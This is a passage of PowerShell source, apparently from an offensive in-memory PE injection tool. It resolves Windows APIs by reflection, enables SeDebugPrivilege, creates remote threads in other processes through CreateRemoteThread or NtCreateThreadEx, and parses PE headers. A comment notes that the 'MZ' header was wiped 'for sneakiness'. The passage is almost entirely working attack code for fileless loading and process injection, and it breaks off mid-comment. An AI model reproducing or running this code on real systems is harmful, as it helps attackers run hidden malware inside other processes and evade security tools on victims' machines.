$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the 